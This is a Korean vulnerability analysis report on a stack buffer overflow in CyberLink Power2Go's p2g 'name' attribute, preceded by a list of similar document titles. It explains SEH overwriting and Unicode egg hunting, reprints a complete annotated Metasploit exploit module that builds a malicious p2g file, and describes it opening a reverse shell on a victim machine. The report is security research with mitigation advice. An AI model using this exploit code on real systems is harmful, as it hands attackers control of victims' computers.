취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

Similar documents
취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

how_2_write_Exploit_4_the_MSF_v3.x.hwp

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

ActFax 4.31 Local Privilege Escalation Exploit

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] RedAlert Team 봉용균

Deok9_Exploit Technique

PowerPoint Template

!K_InDesginCS_NFH

hlogin2

(Microsoft Word - \301\337\260\243\260\355\273\347.docx)

BEef 사용법.pages

PowerPoint Presentation

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

17장 클래스와 메소드

목 차 1. 개 요 배경 요약 정보 대상시스템 원리 공격 기법 및 기본 개념 Heap Spray Font 공 격..

Microsoft Word - building the win32 shellcode 01.doc

PowerPoint Presentation

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

untitled

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

1.hwp

강의 개요

OCaml

Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - Heap_Spray.doc

PowerPoint Presentation

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을

Dialog Box 실행파일을 Web에 포함시키는 방법

Android Master Key Vulnerability

C++ Programming

1. 자바프로그램기초 및개발환경 2 장 & 3 장. 자바개발도구 충남대학교 컴퓨터공학과

Mobile Service > IAP > Android SDK [ ] IAP SDK TOAST SDK. IAP SDK. Android Studio IDE Android SDK Version (API Level 10). Name Reference V

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

PowerPoint Template

Microsoft PowerPoint - java1-lab5-ImageProcessorTestOOP.pptx

PowerPoint 프레젠테이션

Polly_with_Serverless_HOL_hyouk

iii. Design Tab 을 Click 하여 WindowBuilder 가자동으로생성한 GUI 프로그래밍환경을확인한다.

rmi_박준용_final.PDF

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

JMF2_심빈구.PDF

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

<4D F736F F F696E74202D20C1A63034B0AD202D20C7C1B7B9C0D3B8AEBDBAB3CABFCD20B9ABB9F6C6DBC0D4B7C2>

Index Process Specification Data Dictionary

목 차 1. 개요 취약점분석추진배경 CVE 취약점요약 CVE 분석 CVE 취약점개요 CVE 대상시스템목록...

슬라이드 1

IDA 5.x Manual hwp

BMP 파일 처리

MAX+plus II Getting Started - 무작정따라하기

API - Notification 메크로를통하여어느특정상황이되었을때 SolidWorks 및보낸경로를통하여알림메시지를보낼수있습니다. 이번기술자료에서는메크로에서이벤트처리기를통하여진행할예정이며, 메크로에서작업을수행하는데유용할것입니다. 알림이벤트핸들러는응용프로그램구현하는데있어

untitled

Microsoft PowerPoint - secu10.pptx

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Microsoft PowerPoint - AME_InstallRoutine_ver8.ppt

쉽게 풀어쓴 C 프로그래밍

서현수

PowerPoint Presentation

PowerPoint Presentation

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx

취약점분석보고서 = MS =

1. 객체의생성과대입 int 형변수 : 선언과동시에초기화하는방법 (C++) int a = 3; int a(3); // 기본타입역시클래스와같이처리가능 객체의생성 ( 복습 ) class CPoint private : int x, y; public : CPoint(int a

Cluster management software

Microsoft PowerPoint - 04-UDP Programming.ppt

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

기술문서 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라.

ISP and CodeVisionAVR C Compiler.hwp

PowerPoint 프레젠테이션

adfasdfasfdasfasfadf

슬라이드 1

Microsoft PowerPoint - CSharp-10-예외처리

C++ Programming

SNU =10100 =minusby by1000 ÇÁto0.03exÇÁto0.03exÇÁ=10100 =minusby by1000 ·Îto0.03ex·Îto0.03ex·Î=10100 =minusby by1000

목차 1. 개요 배경 파일정보 상세분석 SMB 취약점공격흐름 특징적인행위 대응

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

Microsoft PowerPoint 세션.ppt

- 목차 - - ios 개발환경및유의사항. - 플랫폼 ios Project. - Native Controller와플랫폼화면연동. - 플랫폼 Web(js)-Native 간데이터공유. - 플랫폼확장 WN Interface 함수개발. - Network Manager clas

Web Scraper in 30 Minutes 강철

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

슬라이드 1

예제 2) Test.java class A intvar= 10; void method() class B extends A intvar= 20; 1"); void method() 2"); void method1() public class Test 3"); args) A

13 주차문자열의표현과입출력

Exploit writing tutorials

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

Tablespace On-Offline 테이블스페이스 온라인/오프라인

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

PowerPoint 프레젠테이션

歯처리.PDF

Microsoft PowerPoint - a10.ppt [호환 모드]

파일로입출력하기II - 파일출력클래스중에는데이터를일정한형태로출력하는기능을가지고있다. - PrintWriter와 PrintStream을사용해서원하는형태로출력할수있다. - PrintStream은구버전으로가능하면 PrintWriter 클래스를사용한다. PrintWriter

Microsoft Word - SEH_Overwrites_Simplified.doc

03장.스택.key

Microsoft Word - [2017SMA][T8]OOPT_Stage_2040 ver2.docx

Spring Boot/JDBC JdbcTemplate/CRUD 예제

Transcription:

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] 2012-07-19 RedAlert Team_ 강동우

목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. Power2Go name Stack Buffer Overflow 취약점요약... 1 2. Power2Go name Stack Buffer Overflow 취약점분석... 2 2.1. Power2Go name Stack Buffer Overflow 취약점개요... 2 2.2. Power2Go name Stack Buffer Overflow 취약점대상시스템목록... 2 2.3. Power2Go name Stack Buffer Overflow 취약점원리... 2 3. 분석... 3 3.1. 공격기법및기본개념... 3 3.2. Power2Go name Stack Buffer Overflow 취약점... 4 3.2.1 Power2Go name Stack Buffer Overflow 분석...4 3.2.2 Metasploit 의 cyberlink_p2g_bof 분석...5 3.2.3 공격코드실행...7 4. 결론... 9 5. 대응방안... 9 6. 참고자료... 10

1. 개요 1.1. 취약점분석추진배경 Power2Go 프로그램은데이터, 비디오, 사진, 시스템복구디스크를생성및수정하는프로그램이다. Power2Go 에서디스크정보를추가할때 File name 부분에서길이를체크하지않음을발견하였으며이를이용해 BOF 를시도한다. 1.2. Power2Go name Stack Buffer Overflow 취약점요약 Power2Go 에서디스크정보를추가할때 File name 부분의길이를체크하지않는것을 이용하여정상버퍼이상의 File name 을삽입한파일을로드시켜 Seh 를변조시킨다. 1

2. Power2Go name Stack Buffer Overflow 취약점분석 2.1. Power2Go name Stack Buffer Overflow 취약점개요 취약점이름 CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit 최초발표일 2012 년 4 월 18 일문서작성일 2012 년 4 월 18 일위험등급높음벤더 CyberLink 취약점영향목적과다른방향으로프로그램실행현재상태패치됨 표 1. Power2Go name attribute Buffer Overflow 취약점개요 2.2. Power2Go name Stack Buffer Overflow 취약점대상시스템목록 Power2Go 프로그램자체의취약점으로 Power2Go 가사용될수있는모든 Window 가대상이된다. Microsoft Windows 2000 Microsoft Windows XP Microsoft Windows 2003 Microsoft Windows Vista Microsoft Windows 7 Microsoft Windows 2008 2.3. Power2Go name Stack Buffer Overflow 취약점원리 Power2Go 에서디스크정보를추가할때 File name 부분의길이를체크하지않는것을이용하여정상버퍼이상의 File name 을삽입한파일을로드시켜 Seh 를변조시킨다. 변조가되면삽입한공격자컴퓨터로접속되는리버스쉘코드가실행되며대기하고있던공격자컴퓨터에접속이되며공격자는피해자컴퓨터의제어권을가지게된다. 2

3. 분석 3.1. 공격기법및기본개념 위프로그램을공격하기위해 Stack Buffer Overflow, Seh, Egg Hunt, UNICODE 가사용되었다. Buffer Overflow 의방법중 Stack Buffer Overflow 는정상버퍼크기이상의문자열이입력되었을경우정상버퍼를넘어선다른영역을침범하여 Crash 를발생시킬수있으며 Crash 로인해 exploit 을시도할수있다. 윈도우의에러제어부분인 Seh 를악용하여공격자가심어둔쉘코드로이동하여쉘코드를실행할수있다. Egg Hunt 를이용하여쉘코드해더부분에특정문자열을넣어특정문자열검색으로공격쉘코드가어디에위치해있는지검색하여쉘코드가실행되는방식을사용하였다. UNICODE 란전세계에여러나라가있고각나라마다의문자가있다. 이문자들중문자하나당 1byte 로표현하기어려운문자가있다. 이것을해결하기위해문자하나당 2byte 를사용하게되었다. 이것을 UNICODE 라고지칭한다. UNICODE 는 1byte 만사용될경우 2byte 중앞의 1byte 는 \x00 로표현되며이로인해 strcpy 같은복사함수들이막혔으며이를우회하기위해 UNICODE 형식과같은가젯을사용하며쉘코드도 UNICODE 형식에맞춰서인코딩이필요하다. 3

3.2. Power2Go name Stack Buffer Overflow 취약점 3.2.1 Power2Go name Stack Buffer Overflow 분석 [ 그림 1] Metasploit 을사용하여공격파일생성 [ 그림 2] Seh 변조화면 Seh 부분에 ppr 주소로변조된것을볼수있다. 이를이용하여공격코드를실행시킨다. 4

3.2.2 Metasploit 의 cyberlink_p2g_bof 분석 require 'msf/core' #msf/core 의메소드를가져와사용한다. class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking #Metasploit3 이 Remote 의상속받는다 include Msf::Exploit::FILEFORMAT #FileForMat 를사용한다. def initialize(info = {}) # 클래스생성 (show options 옵션들 ) super(update_info(info, 'Name' => 'CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit', 'Description' => %q{ This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x The vulnerability is triggered when opening a malformed p2g file containing an overly long string in the 'name' attribute of the file element. This results in overwriting a structured exception handler record. }, 'License' => MSF_LICENSE, 'Author' => [ 'modpr0be <modpr0be[at]spentera.com>', #initial discovery 'mr_me <steventhomasseeley[at]gmail.com> #msf module ], 'References' => [ ['BID', '50997'], ['OSVDB', '70600'], ['URL', 'http://www.exploit-db.com/exploits/18220/'], ['URL', 'http://www.kb.cert.org/vuls/id/158003'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00" }, 'Platform' => 'win', 'Targets' => [ #Power2Go8.exe (0x004b0028) 주소형식이 UNICODE 와일치한것을고른다. #pop esi/pop ebp/pop ebx/add esp,10/retn [ 'CyberLink Power2Go 8 (XP/Vista/win7) Universal', { 'Ret' => "\x28\x4b" } ] ], 'DisclosureDate' => 'Sep 12 2011', 'DefaultTarget' => 0)) end register_options( [ OptString.new('FILENAME', [ true, 'The output filename.', 'msf.p2g']) ], self.class) def get_payload(hunter) # 페이로드생성 5

[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { name enc = framework.encoders.create(name) # 유니코드로인코딩 if name =~ /unicode/ enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' }) else enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' }) end hunter = enc.encode(hunter, nil, nil, platform) if name =~/alpha/ } getpc_stub = # 공격쉘코드를찾기위한해더부분 "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35" hunter = getpc_stub + hunter # 인코딩된페이로드와헌트해더를합친다 end return hunter end def exploit title = rand_text_alpha(10) # 유니코드로된랜덤문자 10byte buffer = "" buffer << rand_text_alpha(778) # 유니코드로된랜덤문자 778byte buffer << "\x58\x28" # nseh => INC EAX buffer << target['ret'] # seh => pop esi/pop ebp/pop ebx/ # add esp,10/ret buffer << "\x5f\x73" * 15 # pop edi/add [ebx],dh 를 15 번넣는다 buffer << "\x58\x73" # pop eax/add [ebx],dh buffer << "\x40\x73" * 3 # inc eax/add [ebx],dh 를 3 번넣는다 buffer << "\x40" # inc eax buffer << "\x73\x42" * 337 # add [ebx],dh/pop edx 를 337 번넣는다. buffer << "\x73" # add [ebx],dh buffer << get_payload(payload.encoded) # 유니코드로인코딩된페이로드를삽입 p2g_data = <<-EOS <Project magic="#{title}" version="101"> <Information /> <Compilation> <DataDisc> <File name="#{buffer}" /> </DataDisc> </Compilation> </Project> EOS # 완성된페이로드삽입 print_status("creating '#{datastore['filename']}' file...") file_create(p2g_data) end end 6

3.2.3 공격코드실행 [ 그림 3] 공격자컴퓨터에서대기화면 [ 그림 4] 피해자컴퓨터에서공격코드파일실행 공격자는대기를하고피해자가공격코드파일을실행시키기를기다린다. 7

[ 그림 5] 공격성공화면 공격쉘코드가정상실행되면서피해자컴퓨터가공격자컴퓨터로접속을하였다. 8

4. 결론 파일을불러올때정상버퍼크기이상의문자열이들어왔을때 Crash 가발생하는데이것을 악용하여 Seh 에 pop pop ret 주소로변조하여공격쉘코드가실행되어공격자의컴퓨터에 접속되며공격자가피해자컴퓨터의제어권을가지게되었다. 5. 대응방안 정상버퍼이상의문자열이들어왔을때의문제이므로파일이로드되었을때사용되는 문자열의길이를체크하는코드를추가하거나전체적인길이를체크하는체크섬부분을 추가하면될것이다. 9

6. 참고자료 본취약점본문 www.exploit-db.com/exploits/18220/ 10